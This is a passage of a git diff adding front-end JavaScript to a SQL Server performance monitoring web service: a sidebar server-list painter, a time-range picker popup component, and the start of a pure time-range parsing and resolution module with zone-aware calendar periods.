+      onActivate: () => toggleSidebarGroup(g.id),
+    },
+    [
+      el("span", { class: "sidebar-group-chevron", text: g.collapsed ? "\u25B8" : "\u25BE" }),
+      el("span", { class: "sidebar-group-name", text: g.name }),
+      // a collapsed header says how many servers it hides: its whole subtree, counting a multi-tag server once
+      el("span", { class: "sidebar-group-count", text: (g.collapsed ? g.subtreeCount : g.count) ? "(" + (g.collapsed ? g.subtreeCount : g.count) + ")" : "" }),
+    ]
+  );
+  return header;
+}
+
+/**
+ * Paints the server list into `container` from the /api/fleet payload. `activeParam` is the server named by the
+ * current route (null when the route is not a server page).
+ */
+export function paintServerList(container, fleet, activeParam) {
+  rememberFleet(fleet.cards);
+  const refocus = focusedGroupId(container);
+  const grouped = isSidebarGrouped();
+  const model = sidebarRows(fleet.cards || [], fleet.tags || [], {
+    term: searchTerm,
+    grouped,
+    sortFn: favoritesFirst(byName),
+    isFavorite: (c) => isFavorite(c.server_id),
+    isCollapsed: isSidebarGroupCollapsed,
+  });
+  if (model.empty) {
+    mount(container, searchTerm.trim() ? el("div", { class: "muted sidebar-no-match", text: "No servers match" }) : []);
+    return;
+  }
+  mount(
+    container,
+    model.rows.map((r) => (r.kind === "group" ? groupHeader(r) : serverItem(r.card, r.depth, activeParam, grouped)))
+  );
+  restoreGroupFocus(container, refocus);
+}
+
+/* A repaint replaces every row, which destroys the element a keyboard user just activated. When that was a group
+   header, put focus back on the same group's new header so Enter/Space can toggle it again without tabbing down
+   from the top. (The favourite star keeps its dev behaviour: the same server can sit under several groups, so
+   there is no single row to hand focus back to.) */
+function focusedGroupId(container) {
+  const f = document.activeElement;
+  if (!f || !f.dataset || f.dataset.group == null) return null;
+  return Array.from(container.children).includes(f) ? f.dataset.group : null;
+}
+
+function restoreGroupFocus(container, id) {
+  if (id == null) return;
+  const header = Array.from(container.children).find((n) => n.dataset && n.dataset.group === id);
+  if (header) header.focus();
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/time-range-picker.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/time-range-picker.js
new file mode 100644
index 0000000000..90d0e2c353
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/time-range-picker.js
@@ -0,0 +1,363 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * The web time range picker (#5562): a button naming the range, the resolved start, end and zone beside it, and a popup with the
+ * short presets, the calendar periods (each with its current length), a text box that shows the parsed range BEFORE Apply (or
+ * why it was refused), and a date and time pick. The grammar and every rule live in time-range.js (the twin of the desktop
+ * model, pinned by the shared fixture); this file is only the DOM.
+ *
+ *   const picker = timeRangePicker({ spec, zone, reachHours, onChange: (spec, range) => redraw() });
+ *   host.appendChild(picker.node);
+ *   picker.window();      // { hours, asOf, live, startMs, endMs } for the reads, or null when the range cannot be resolved now
+ *   picker.resolve();     // the resolved range at the current clock (a live range slides), or null
+ *   picker.setSpec(spec); // hold a range without raising onChange
+ *
+ * Keyboard: Enter in the text box applies, Esc closes the popup and returns focus to the button. Presets and periods are real
+ * buttons. A period longer than the reach (hours) or shorter than 5 minutes is disabled and says why. Nothing here touches the
+ * document until the popup opens, and the popup's own listeners are removed when it closes.
+ */
+
+import { el } from "./util.js";
+import {
+  ROLLING_PRESETS,
+  CALENDAR_PRESETS,
+  browserZone,
+  specId,
+  specName,
+  specFromId,
+  relativeSpec,
+  resolveSpec,
+  parseRange,
+  readWindow,
+  reachRefusal,
+  rollingOnlyRefusal,
+  minSpanRefusal,
+  reachText,
+  sampleIntervalNote,
+  wallText,
+} from "./time-range.js";
+
+export const DEFAULT_REACH_HOURS = 168;
+
+const DAY_MS = 86400000;
+let pickerCount = 0;
+
+/**
+ * @param {object} [opts]
+ * @param {object} [opts.spec] the range to start on (default the past day)
+ * @param {string} [opts.zone] the IANA zone times are typed and shown in (default the browser's)
+ * @param {() => number} [opts.now] the clock, epoch ms (default Date.now); tests give their own
+ * @param {number} [opts.reachHours] the longest range the page's reads take, in hours (default 168); longer ones are greyed out
+ * @param {number|null} [opts.sampleIntervalMs] the main collector's interval; a span with fewer than 3 samples shows a note
+ * @param {object[]} [opts.extraPresets] quick choices added after the shared list (a read that reaches past 30 days offers its reach)
+ * @param {(hours: number) => string} [opts.reachMessage] the reason a range past the reach is greyed out, for a page that is not "this page"
+ *   (the server page says "This tab reads up to 7 days.")
+ * @param {boolean} [opts.compact] hide the detail beside the button (it moves into the tooltip)
+ * @param {boolean} [opts.rollingOnly] offer only "this long back from now" (#5562 R5, the FinOps pages): no calendar periods, no
+ *   custom end, whole hours, at least one hour. A range outside that is greyed out or refused with the reason, never clamped.
+ * @param {number} [opts.minSpanMs] a floor above the global 5 minutes for a page whose read cannot answer a shorter range
+ * @param {number} [opts.stepMs] with rollingOnly, the unit a length must be a whole number of (default one hour; a daily read passes a day)
+ * @param {string} [opts.label] the accessible name (default "Time range")
+ * @param {(spec: object, range: object) => void} [opts.onChange] raised when the reader picks or applies a range
+ */
+export function timeRangePicker(opts = {}) {
+  const zone = opts.zone || browserZone();
+  const now = opts.now || (() => Date.now());
+  const name = opts.label || "Time range";
+  const previewId = "trp-preview-" + ++pickerCount;
+  let spec = opts.spec || relativeSpec(DAY_MS);
+  /* Longer quick choices a page adds when its read reaches past the 30 days the shared list stops at (#5562 review r1 M5): the longest
+     choice a page offers is its reach. */
+  let extraPresets = Array.isArray(opts.extraPresets) ? opts.extraPresets : [];
+  let reach = opts.reachHours > 0 ? opts.reachHours : DEFAULT_REACH_HOURS;
+  let sampleIntervalMs = opts.sampleIntervalMs || null;
+  const onChange = opts.onChange || (() => {});
+  let open = false;
+  let popup = null;
+  let textBox = null;
+  let preview = null;
+  let applyButton = null;
+  let pending = null;
+  let fromBox = null;
+  let toBox = null;
+  /* The end box's prefilled value while the held range is live; an end left at it still means "now" (#5562 review r1 M3). */
+  let prefilledLiveEnd = null;
+  let removeDocumentListeners = null;
+
+  const button = el("button", { type: "button", class: "trp-button", "aria-haspopup": "dialog", "aria-expanded": "false" });
+  const detail = el("span", { class: "trp-detail" });
+  const note = el("span", { class: "trp-note" });
+  const popupSlot = el("div", { class: "trp-popup-slot" });
+  const node = el("div", { class: "time-range-picker" + (opts.compact ? " trp-compact" : "") }, [button, detail, note, popupSlot]);
+
+  /* The range as it resolves right now, or the error that stops it (a calendar period at exactly its start, say). */
+  function current() {
+    return resolveSpec(spec, now(), zone);
+  }
+
+  function draw() {
+    const r = current();
+    if (!r.ok) {
+      button.textContent = specName(spec);
+      button.setAttribute("aria-label", name + ": " + specName(spec) + ". " + r.error.message);
+      detail.textContent = r.error.message;
+      node.setAttribute("title", r.error.message);
+      note.textContent = "";
+      return;
+    }
+    const range = r.range;
+    const text = spec.kind === "fixed" || spec.kind === "since" ? "Custom (" + range.length + ")" : specName(spec);
+    const where = range.startText + " - " + range.endText + " (" + range.zoneText + ")";
+    button.textContent = text;
+    button.setAttribute("aria-label", name + ": " + text + ", " + where);
+    detail.textContent = opts.compact ? "" : where;
+    node.setAttribute("title", opts.compact ? text + ", " + where : "");
+    const notes = [sampleIntervalNote(range.spanMs, sampleIntervalMs)].filter(Boolean);
+    note.textContent = notes.join(" ");
+  }
+
+  function hold(next) {
+    spec = next;
+    draw();
+  }
+
+  /* Why this page cannot read the range, or null: past the reach, outside a rolling-only page's shape, or under its own floor. */
+  function refusalFor(next, range) {
+    const rolling = opts.rollingOnly ? rollingOnlyRefusal(next, range.spanMs, opts.minSpanMs || undefined, opts.stepMs || undefined) : null;
+    if (rolling) return rolling;
+    const tooShort = minSpanRefusal(range.spanMs, opts.minSpanMs);
+    if (tooShort) return tooShort;
+    const tooLong = reachRefusal(range.spanMs, reach);
+    return tooLong && opts.reachMessage ? opts.reachMessage(reach) : tooLong;
+  }
+
+  function choose(next) {
+    const r = resolveSpec(next, now(), zone);
+    if (!r.ok) return r.error.message;
+    const tooLong = refusalFor(next, r.range);
+    if (tooLong) return tooLong;
+    hold(next);
+    close(true);
+    onChange(next, r.range);
+    return null;
+  }
+
+  /* One row of the popup lists: the name, the length it is right now, and why it is greyed out when it is. */
+  function item(next, nowMs) {
+    const r = resolveSpec(next, nowMs, zone);
+    const why = !r.ok ? r.error.message : refusalFor(next, r.range);
+    const selected = specId(next) === specId(spec);
+    const children = [el("span", { class: "trp-item-name", text: specName(next) })];
+    if (r.ok) children.push(el("span", { class: "trp-item-length", text: r.range.length }));
+    if (why) children.push(el("span", { class: "trp-item-why", text: why }));
+    const props = { type: "button", class: "trp-item" + (selected ? " trp-selected" : "") + (why ? " trp-disabled" : ""), "aria-pressed": selected ? "true" : "false" };
+    if (why) {
+      props["aria-disabled"] = "true";
+      props.title = why;
+    }
+    const b = el("button", props, children);
+    b.addEventListener("click", () => {
+      if (why) return;
+      choose(next);
+    });
+    return b;
+  }
+
+  /* Shows what the text box means, or why it does not mean anything, before Apply. */
+  function showPreview() {
+    pending = null;
+    const text = textBox.value;
+    if (text.trim() === "") {
+      preview.textContent = "Type a range, or pick one on the left.";
+      preview.className = "trp-preview";
+      applyButton.disabled = true;
+      return;
+    }
+    const nowMs = now();
+    const r = parseRange(text, nowMs, zone);
+    let error = r.ok ? null : r.error;
+    if (r.ok) {
+      const tooLong = refusalFor(r.spec, r.range);
+      if (tooLong) error = tooLong;
+    }
+    if (error) {
+      preview.textContent = error;
+      preview.className = "trp-preview trp-error";
+      applyButton.disabled = true;
+      return;
+    }
+    pending = r;
+    const notes = [sampleIntervalNote(r.range.spanMs, sampleIntervalMs)].filter(Boolean);
+    preview.textContent = [r.echo, ...notes].join(" ");
+    preview.className = "trp-preview trp-ok";
+    applyButton.disabled = false;
+  }
+
+  function apply() {
+    if (!pending) {
+      showPreview();
+      if (!pending) return;
+    }
+    choose(pending.spec);
+  }
+
+  /* The date and time boxes write the typed form (in the picker's zone), so one path parses, previews and applies. */
+  function pickChanged() {
+    if (!fromBox.value || !toBox.value) return;
+    /* A live range stays live when only the start moves: the end box still holding the value the popup filled in is "now", not a typed end,
+       so the text reads "<start> - now" (a since-range, kept refreshing by the page's poll) instead of freezing at the popup-open minute. */
+    const endText = prefilledLiveEnd !== null && toBox.value === prefilledLiveEnd ? "now" : toBox.value.replace("T", " ");
+    textBox.value = fromBox.value.replace("T", " ") + " - " + endText;
+    showPreview();
+  }
+
+  function buildPopup() {
+    const nowMs = now();
+    const r = current();
+    textBox = el("input", { type: "text", class: "trp-text", "aria-label": "Type a time range", "aria-describedby": previewId, placeholder: opts.rollingOnly ? "6h, 3d, 2w" : "45m, last month, Oct 1 - Oct 2", autocomplete: "off", spellcheck: "false" });
+    preview = el("div", { class: "trp-preview", id: previewId, role: "status", "aria-live": "polite" });
+    applyButton = el("button", { type: "button", class: "btn trp-apply", text: "Apply" });
+    fromBox = el("input", { type: "datetime-local", class: "trp-pick", "aria-label": "Range start", step: "60" });
+    toBox = el("input", { type: "datetime-local", class: "trp-pick", "aria-label": "Range end", step: "60" });
+    if (r.ok) {
+      fromBox.value = wallText(r.range.startMs, zone).replace(" ", "T").slice(0, 16);
+      toBox.value = wallText(r.range.endMs, zone).replace(" ", "T").slice(0, 16);
+      prefilledLiveEnd = r.range.live ? toBox.value : null;
+    }
+    textBox.addEventListener("input", showPreview);
+    textBox.addEventListener("keydown", (e) => {
+      if (e.key === "Enter") {
+        e.preventDefault();
+        apply();
+      }
+    });
+    applyButton.addEventListener("click", apply);
+    fromBox.addEventListener("change", pickChanged);
+    toBox.addEventListener("change", pickChanged);
+
+    const quick = el("div", { class: "trp-column" }, [
+      el("div", { class: "trp-heading", text: "Quick ranges" }),
+      ...ROLLING_PRESETS.concat(extraPresets.filter((x) => !ROLLING_PRESETS.some((p) => specId(p) === specId(x)))).map((s) => item(s, nowMs)),
+    ]);
+    const periods = el("div", { class: "trp-column" }, [
+      el("div", { class: "trp-heading", text: "Calendar periods" }),
+      ...CALENDAR_PRESETS.map((s) => item(s, nowMs)),
+    ]);
+    /* A rolling-only page (#5562 R5) has no calendar periods and no start-and-end pick: its reads are "hours back from now". */
+    const custom = el(
+      "div",
+      { class: "trp-column trp-custom" },
+      opts.rollingOnly
+        ? [el("div", { class: "trp-heading", text: "Type a length" }), textBox, preview, applyButton]
+        : [
+            el("div", { class: "trp-heading", text: "Type a range" }),
+            textBox,
+            preview,
+            el("div", { class: "trp-heading", text: "Or pick a start and an end" }),
+            el("div", { class: "trp-picks" }, [fromBox, el("span", { text: "to" }), toBox]),
+            el("div", { class: "trp-zone", text: "Times are in " + zone.replace(/_/g, " ") + "." }),
+            applyButton,
+          ]
+    );
+    popup = el("div", { class: "trp-popup", role: "dialog", "aria-label": name + " options" }, opts.rollingOnly ? [quick, custom] : [quick, periods, custom]);
+    popup.addEventListener("keydown", (e) => {
+      if (e.key === "Escape") {
+        e.stopPropagation();
+        close(true);
+      }
+    });
+    showPreview();
+  }
+
+  function openPopup() {
+    if (open) return;
+    open = true;
+    buildPopup();
+    popupSlot.appendChild(popup);
+    button.setAttribute("aria-expanded", "true");
+    /* A click anywhere else closes the popup. The listener exists only while the popup is open. */
+    const outside = (e) => {
+      if (!node.contains || !node.contains(e.target)) close(false);
+    };
+    document.addEventListener("mousedown", outside);
+    removeDocumentListeners = () => document.removeEventListener("mousedown", outside);
+    if (textBox.focus) textBox.focus();
+  }
+
+  function close(refocus) {
+    if (!open) return;
+    open = false;
+    if (removeDocumentListeners) removeDocumentListeners();
+    removeDocumentListeners = null;
+    if (popup) popupSlot.removeChild(popup);
+    popup = null;
+    button.setAttribute("aria-expanded", "false");
+    if (refocus && button.focus) button.focus();
+  }
+
+  button.addEventListener("click", () => (open ? close(true) : openPopup()));
+  button.addEventListener("keydown", (e) => {
+    if (e.key === "Escape") close(true);
+  });
+  draw();
+
+  return {
+    node,
+    /** The range as it resolves now, or null when it cannot be (a live range slides with the clock). */
+    resolve() {
+      const r = current();
+      return r.ok ? r.range : null;
+    },
+    /** The window the reads take for the range now ({ hours, asOf, live, startMs, endMs }), or null. */
+    window() {
+      const r = current();
+      return r.ok ? readWindow(r.range, now()) : null;
+    },
+    spec() {
+      return spec;
+    },
+    /** Hold a range without raising onChange (a stored choice, a deep link). A spec the grammar can read back by id works too. */
+    setSpec(next) {
+      const s = typeof next === "string" ? specFromId(next) : next;
+      if (s) hold(s);
+    },
+    /** Pick a range as if the reader had: holds it, closes the popup and raises onChange. Returns the refusal, or null. */
+    select(next) {
+      return choose(next);
+    },
+    /** Redraw the label and detail (a live range slides; call on a refresh tick). */
+    refresh: draw,
+    setReach(hours) {
+      reach = hours > 0 ? hours : DEFAULT_REACH_HOURS;
+      if (open) {
+        close(false);
+        openPopup();
+      }
+    },
+    setSampleInterval(ms) {
+      sampleIntervalMs = ms || null;
+      draw();
+    },
+    /** Add quick choices longer than the shared list (the page's own reach); a popup that is open redraws. */
+    setExtraPresets(specs) {
+      extraPresets = Array.isArray(specs) ? specs : [];
+      if (open) {
+        close(false);
+        openPopup();
+      }
+    },
+    /** The longest range the page takes, in hours. */
+    reachHours: () => reach,
+    openPopup,
+    close: () => close(true),
+    isOpen: () => open,
+    /** The longest range the page takes, in words ("7 days"). */
+    reachText: () => reachText(reach),
+  };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/time-range.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/time-range.js
new file mode 100644
index 0000000000..22ee85e91d
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/time-range.js
@@ -0,0 +1,920 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * The time range grammar for the web (#5562): one line of text, a preset or a calendar period becomes a start and an end.
+ * This is the twin of PerformanceMonitor.Ui/TimeRange (TimeRangeParser, TimeRangeSpec, ResolvedTimeRange, TimeRangePresets):
+ * the same grammar, the same resolution rules and the same label text, pinned by the shared cases in
+ * Darling.Tests/Fixtures/time-range-cases.json, which both implementations run.
+ *
+ * PURE: no DOM, no clock, no imports. Every function is given the now (epoch milliseconds) and the zone (an IANA name such as
+ * "America/New_York"; the page passes the browser's zone, browserZone()). All wall-clock work goes through Intl with an
+ * explicit timeZone, so the module never depends on the process zone and a test can drive any zone.
+ *
+ * Rules (settled, #5562): relative lengths (45m, 4h, 10d, 1mo = 30 days) are real elapsed time; calendar periods use the zone's
+ * wall-clock midnights, weeks start Monday, and a boundary is the earliest instant labelled at or after the wall midnight
+ * so neighbouring periods tile; typed wall times take the widest instants they can mean (a start the earliest, an end the
+ * latest; a repeated hour widens, a skipped time maps to the change instant); nothing shorter than 5 minutes is accepted
+ * (a calendar period is exempt, once it has started) and nothing is widened; there is no upper cap here (a page decides what its reads reach).
+ *
+ * A spec is a plain object: { kind: "relative", spanMs }, { kind: "calendar", period }, { kind: "fixed", startMs, endMs } or
+ * { kind: "since", startMs }. resolveSpec turns it into a range for a now and a zone; parseRange turns text into one.
+ */
+
+const MINUTE_MS = 60000;
+const HOUR_MS = 3600000;
+const DAY_MS = 86400000;
+
+/** The shortest range there is. A shorter one is refused, never widened. */
+export const MINIMUM_SPAN_MS = 5 * MINUTE_MS;
+
+/** A tab note appears when the span holds fewer than this many samples. */
+export const MIN_SAMPLES = 3;
+
+/** The data-start note appears when the range starts more than this long before the data does. */
+export const DATA_START_SLACK_MS = 90 * MINUTE_MS;
+
+const MAX_RELATIVE_MS = 36500 * DAY_MS;
+const LAST_DAY_MS = Date.UTC(9999, 11, 31, 23, 59, 59, 999);
+const EXAMPLES = "Try 45m, 3 days, last month, Oct 1 - Oct 2 or 1:00 am - 7:00 am.";
+
+/* ───────────────────────────────── zone arithmetic (Intl, explicit zone) ───────────────────────────────── */
+
+const formatters = new Map();
+
+function formatterFor(zone) {
+  let f = formatters.get(zone);
+  if (!f) {
+    f = new Intl.DateTimeFormat("en-US", {
+      timeZone: zone,
+      hourCycle: "h23",
+      year: "numeric",
+      month: "numeric",
+      day: "numeric",
+      hour: "numeric",
+      minute: "numeric",
+      second: "numeric",
+    });
+    formatters.set(zone, f);
+  }
+  return f;
+}
+
+/** The browser's zone as an IANA name ("UTC" when the browser will not say). */
+export function browserZone() {
+  try {
+    return new Intl.DateTimeFormat().resolvedOptions().timeZone || "UTC";
+  } catch {
+    return "UTC";
+  }
+}
+
+/** True when Intl knows the zone name. */
+export function isKnownZone(zone) {
+  try {
+    formatterFor(zone);
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+/** The wall clock of an instant in a zone, as "wall ms": the same fields read as if they were UTC. Exact in a repeated hour. */
+export function toWall(ms, zone) {
+  const base = Math.floor(ms / 1000) * 1000;
+  const p = {};
+  for (const part of formatterFor(zone).formatToParts(new Date(base))) p[part.type] = Number(part.value);
+  return Date.UTC(p.year, p.month - 1, p.day, p.hour % 24, p.minute, p.second) + (ms - base);
+}
+
+/** The zone's UTC offset at an instant, in milliseconds (east of UTC is positive). */
+export function offsetAt(ms, zone) {
+  return toWall(ms, zone) - ms;
+}
+
+/** "+hh:mm" or "-hh:mm" ("+00:00" in UTC). */
+export function formatOffset(offsetMs) {
+  const sign = offsetMs < 0 ? "-" : "+";
+  const totalMinutes = Math.round(Math.abs(offsetMs) / MINUTE_MS);
+  return sign + pad2(Math.floor(totalMinutes / 60)) + ":" + pad2(totalMinutes % 60);
+}
+
+/** The instants whose wall clock reads `wallMs`: none (a clock change skipped it), one, or two (it happened twice), earliest first. */
+function instantsOfWall(wallMs, zone) {
+  const found = [];
+  for (const o of new Set([offsetAt(wallMs - DAY_MS, zone), offsetAt(wallMs + DAY_MS, zone)])) {
+    const u = wallMs - o;
+    if (offsetAt(u, zone) === o) found.push(u);
+  }
+  return found.sort((a, b) => a - b);
+}
+
+/** The instant a clock change skips a wall time over: the first instant on the far side of the gap, found by halving the day either side. */
+function skippedChangeInstant(wallMs, zone) {
+  let lo = wallMs - DAY_MS;
+  let hi = wallMs + DAY_MS;
+  const before = offsetAt(lo, zone);
+  while (hi - lo > 1) {
+    const mid = Math.floor((lo + hi) / 2);
+    if (offsetAt(mid, zone) === before) lo = mid;
+    else hi = mid;
+  }
+  return hi;
+}
+
+/**
+ * The instant a typed wall-clock bound means, as the widest range it can name: side "from" is the earliest instant whose wall
+ * clock reads at or after the value, "to" the latest at or before it. A time that happens once is that instant; in the repeated
+ * hour from takes the first occurrence and to the second; a time that never happened gives the change instant for both.
+ */
+export function wallToUtcBound(wallMs, zone, side) {
+  const found = instantsOfWall(wallMs, zone);
+  if (found.length === 0) return skippedChangeInstant(wallMs, zone);
+  if (found.length === 1) return found[0];
+  return side === "from" ? found[0] : found[found.length - 1];
+}
+
+/** " +hh:mm"-style offset of an instant whose wall time happens twice, else null. */
+function ambiguousOffsetSuffix(ms, zone) {
+  return instantsOfWall(toWall(ms, zone), zone).length === 2 ? formatOffset(offsetAt(ms, zone)) : null;
+}
+
+/* ───────────────────────────────── small helpers ───────────────────────────────── */
+
+function pad2(n) {
+  return n < 10 ? "0" + n : String(n);
+}
+
+const MONTH_ABBR = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
+
+function daysInMonth(year, month) {
+  return new Date(Date.UTC(year, month, 0)).getUTCDate();
+}
+
+/** Round half to even, the way Math.Round does in the C# twin. */
+function roundEven(x) {
+  const f = Math.floor(x);
+  const d = x - f;
+  if (d < 0.5) return f;
+  if (d > 0.5) return f + 1;
+  return f % 2 === 0 ? f : f + 1;
+}
+
+function floorDay(wallMs) {
+  return Math.floor(wallMs / DAY_MS) * DAY_MS;
+}
+
+/** "2026-10-01T04:00:00Z": whole seconds, the form a spec id carries. */
+export function isoZ(ms) {
+  return new Date(Math.floor(ms / 1000) * 1000).toISOString().replace(".000Z", "Z");
+}
+
+/** The length of a span as the picker words it: "3d" for three days and some hours, "7h 1m" under a day, "45m". Floors. */
+export function formatLength(spanMs) {
+  const totalMinutes = Math.floor(Math.max(0, spanMs) / MINUTE_MS);
+  if (totalMinutes >= 1440) return Math.floor(totalMinutes / 1440) + "d";
+  const hours = Math.floor(totalMinutes / 60);
+  const minutes = totalMinutes % 60;
+  if (hours === 0) return minutes + "m";
+  return minutes === 0 ? hours + "h" : hours + "h " + minutes + "m";
+}
+
+function shortMessage(actualMs) {
+  return actualMs <= 0
+    ? "The shortest range is 5 minutes."
+    : "That range is only " + formatLength(actualMs) + " long. The shortest range is 5 minutes.";
+}
+
+/* ───────────────────────────────── specs ───────────────────────────────── */
+
+/** A length counted back from now. */
+export function relativeSpec(spanMs) {
+  return { kind: "relative", spanMs };
+}
+
+/** A calendar period in the zone: today, yesterday, week-to-date, previous-week, month-to-date, previous-month, year-to-date, previous-year. */
+export function calendarSpec(period) {
+  return { kind: "calendar", period };
+}
+
+/** A start and an end instant. */
+export function fixedSpec(startMs, endMs) {
+  return { kind: "fixed", startMs, endMs };
+}
+
+/** A fixed start with an end that is always now. */
+export function sinceSpec(startMs) {
+  return { kind: "since", startMs };
+}
+
+const PERIOD_IDS = ["today", "yesterday", "week-to-date", "previous-week", "month-to-date", "previous-month", "year-to-date", "previous-year"];
+
+const PERIOD_NAMES = {
+  today: "Today",
+  yesterday: "Yesterday",
+  "week-to-date": "Week to Date",
+  "previous-week": "Previous Week",
+  "month-to-date": "Month to Date",
+  "previous-month": "Previous Month",
+  "year-to-date": "Year to Date",
+  "previous-year": "Previous Year",
+};
+
+/** The nine short presets, in the order the picker lists them. */
+export const ROLLING_PRESETS = [
+  relativeSpec(5 * MINUTE_MS),
+  relativeSpec(15 * MINUTE_MS),
+  relativeSpec(30 * MINUTE_MS),
+  relativeSpec(HOUR_MS),
+  relativeSpec(4 * HOUR_MS),
+  relativeSpec(DAY_MS),
+  relativeSpec(2 * DAY_MS),
+  relativeSpec(7 * DAY_MS),
+  relativeSpec(30 * DAY_MS),
+];
+
+/** The eight calendar periods, in the order the picker lists them. */
+export const CALENDAR_PRESETS = PERIOD_IDS.map(calendarSpec);
+
+/** A stable text for a spec: "5m", "4h", "1d", "1w", "1mo", "today", "previous-week", "fixed:<start>/<end>", "since:<start>". */
+export function specId(spec) {
+  switch (spec.kind) {
+    case "relative": {
+      const s = spec.spanMs;
+      if (s === 7 * DAY_MS) return "1w";
+      if (s === 30 * DAY_MS) return "1mo";
+      if (s % DAY_MS === 0) return s / DAY_MS + "d";
+      if (s % HOUR_MS === 0) return s / HOUR_MS + "h";
+      return roundEven(s / MINUTE_MS) + "m";
+    }
+    case "calendar":
+      return spec.period;
+    case "fixed":
+      return "fixed:" + isoZ(spec.startMs) + "/" + isoZ(spec.endMs);
+    default:
+      return "since:" + isoZ(spec.startMs);
+  }
+}
+
+const ISO_Z_RX = /^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2})Z$/;
+
+function parseIsoZ(text) {
+  const m = ISO_Z_RX.exec(String(text).toUpperCase());
+  return m ? Date.UTC(+m[1], +m[2] - 1, +m[3], +m[4], +m[5], +m[6]) : null;
+}
+
+/** Reads an id back: a preset id, a count and unit ("90m", "3d", "2w", "2mo"), "fixed:..." or "since:...". Null for anything else. */
+export function specFromId(id) {
+  if (typeof id !== "string" || id.trim() === "") return null;
+  const text = id.trim().toLowerCase();
+  if (PERIOD_IDS.includes(text)) return calendarSpec(text);
+  if (text.startsWith("since:")) {
+    const at = parseIsoZ(text.slice(6));
+    return at == null ? null : sinceSpec(at);
+  }
+  if (text.startsWith("fixed:")) {
+    const parts = text.slice(6).split("/");
+    const a = parts.length === 2 ? parseIsoZ(parts[0]) : null;
+    const b = parts.length === 2 ? parseIsoZ(parts[1]) : null;
+    return a == null || b == null ? null : fixedSpec(a, b);
+  }
+  const m = /^(\d+)([a-z]+)$/.exec(text);
+  if (!m) return null;
+  const count = Number(m[1]);
+  if (!(count > 0) || count > 1000000) return null;
+  switch (m[2]) {
+    case "m": return relativeSpec(count * MINUTE_MS);
+    case "h": return relativeSpec(count * HOUR_MS);
+    case "d": return relativeSpec(count * DAY_MS);
+    case "w": return relativeSpec(7 * count * DAY_MS);
+    case "mo": return relativeSpec(30 * count * DAY_MS);
+    default: return null;
+  }
+}
+
+/** The spec for a count of whole hours (the legacy `hours` the reads and old settings carry), or null. */
+export function fromLegacyHours(hours) {
+  return Number.isFinite(hours) && hours > 0 ? relativeSpec(hours * HOUR_MS) : null;
+}
+
+/** The whole hours of a relative spec, or null when it is not a whole number of hours (or not relative). */
+export function wholeHours(spec) {
+  return spec.kind === "relative" && spec.spanMs % HOUR_MS === 0 ? spec.spanMs / HOUR_MS : null;
+}
+
+function pastLength(spanMs) {
+  if (spanMs === 7 * DAY_MS) return "week";
+  if (spanMs === 30 * DAY_MS) return "30 days";
+  let count;
+  let unit;
+  if (spanMs % DAY_MS === 0) {
+    count = spanMs / DAY_MS;
+    unit = "day";
+  } else if (spanMs % HOUR_MS === 0) {
+    count = spanMs / HOUR_MS;
+    unit = "hour";
+  } else {
+    count = roundEven(spanMs / MINUTE_MS);
+    unit = "minute";
+  }
+  return count === 1 ? unit : count + " " + unit + "s";
+}
+
+/** The name the picker lists: "Past 4 hours", "Previous Week"; a fixed or since range reads as a generic name. */
+export function specName(spec) {
+  switch (spec.kind) {
+    case "relative": return "Past " + pastLength(spec.spanMs);
+    case "calendar": return PERIOD_NAMES[spec.period];
+    case "fixed": return "Custom range";
+    default: return "Since a start";
+  }
+}
+
+/* ───────────────────────────────── resolution ───────────────────────────────── */
+
+function resolvePeriod(period, nowMs, zone) {
+  const wallNow = new Date(toWall(nowMs, zone));
+  const today = Date.UTC(wallNow.getUTCFullYear(), wallNow.getUTCMonth(), wallNow.getUTCDate());
+  const monday = today - ((new Date(today).getUTCDay() + 6) % 7) * DAY_MS;
+  const y = wallNow.getUTCFullYear();
+  const firstOfMonth = Date.UTC(y, wallNow.getUTCMonth(), 1);
+  const firstOfYear = Date.UTC(y, 0, 1);
+  const b = (wall) => wallToUtcBound(wall, zone, "from");
+  switch (period) {
+    case "today": return { start: b(today), end: nowMs, live: true };
+    case "yesterday": return { start: b(today - DAY_MS), end: b(today), live: false };
+    case "week-to-date": return { start: b(monday), end: nowMs, live: true };
+    case "previous-week": return { start: b(monday - 7 * DAY_MS), end: b(monday), live: false };
+    case "month-to-date": return { start: b(firstOfMonth), end: nowMs, live: true };
+    case "previous-month": return { start: b(Date.UTC(y, wallNow.getUTCMonth() - 1, 1)), end: b(firstOfMonth), live: false };
+    case "year-to-date": return { start: b(firstOfYear), end: nowMs, live: true };
+    default: return { start: b(Date.UTC(y - 1, 0, 1)), end: b(firstOfYear), live: false };
+  }
+}
+
+function formatBound(ms, ctx, includeSeconds) {
+  const wall = new Date(toWall(ms, ctx.zone));
+  const hour12 = wall.getUTCHours() % 12 === 0 ? 12 : wall.getUTCHours() % 12;
+  let clock = hour12 + ":" + pad2(wall.getUTCMinutes());
+  if (includeSeconds && wall.getUTCSeconds() !== 0) clock += ":" + pad2(wall.getUTCSeconds());
+  const day = MONTH_ABBR[wall.getUTCMonth()] + " " + wall.getUTCDate() + (ctx.showYear ? ", " + wall.getUTCFullYear() : "");
+  const text = day + ", " + clock + (wall.getUTCHours() < 12 ? " am" : " pm");
+  const suffix = ambiguousOffsetSuffix(ms, ctx.zone);
+  return suffix == null ? text : text + " " + suffix;
+}
+
+function wallYear(ms, zone) {
+  return new Date(toWall(ms, zone)).getUTCFullYear();
+}
+
+function buildRange(spec, startMs, endMs, live, zone, nowMs) {
+  const nowYear = wallYear(nowMs, zone);
